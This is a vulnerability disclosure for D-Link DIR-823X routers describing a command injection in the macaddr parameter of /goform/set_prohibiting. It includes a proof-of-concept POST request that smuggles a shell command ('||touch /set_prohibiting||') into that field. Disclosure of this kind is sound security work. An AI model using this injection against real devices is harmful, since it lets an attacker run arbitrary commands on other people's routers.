# Information

**Vendor of the products:** D-Link

**Vendor's website:** <http://www.dlink.com.cn/>

**Reported by:** Wang Jinshuai([jinshuaiwang61@gmail.com](mailto:jinshuaiwang61@gmail.com)) , Zhao Jiangting([sta8r9@163.com](mailto:sta8r9@163.com))

**Affected products:** DIR-823X AX3000 Series Routers

**Affected firmware version:** 240126, 240802

**Firmware download address:** <http://www.dlink.com.cn/home/product?id=3118>

# Overview

A command injection vulnerability in D-Link DIR-823X Series Routers with firmware versions 240126/240802 allows an authorized attacker to execute arbitrary commands on remote devices by sending a POST request to /goform/set\_prohibiting via the corresponding function, triggering remote command execution.

# Vulnerability details

By reverse engineering the sub\_42232C function in this binary file, we can see that the value of the macaddr function is copied into the command variable via the snprintf function, after which the system function is executed. Therefore, by maliciously crafting the value of macaddr, command execution can be triggered.



This function can be triggered by submitting a POST request to /goform/set\_prohibiting.

# Poc

POST /goform/set\_prohibiting HTTP/1.1  
Host: 192.168.122.130  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/114.0  
Accept: \*/\*  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 75  
Origin: http://192.168.122.130  
Connection: close  
Referer: http://192.168.122.130/login.html  
Cookie: sessionid=00000000000000000000000000000000; token=00000000000000000000000000000000  
  
macaddr=||touch%20/set\_prohibiting||&token=00000000000000000000000000000000

# Attack Demonstration

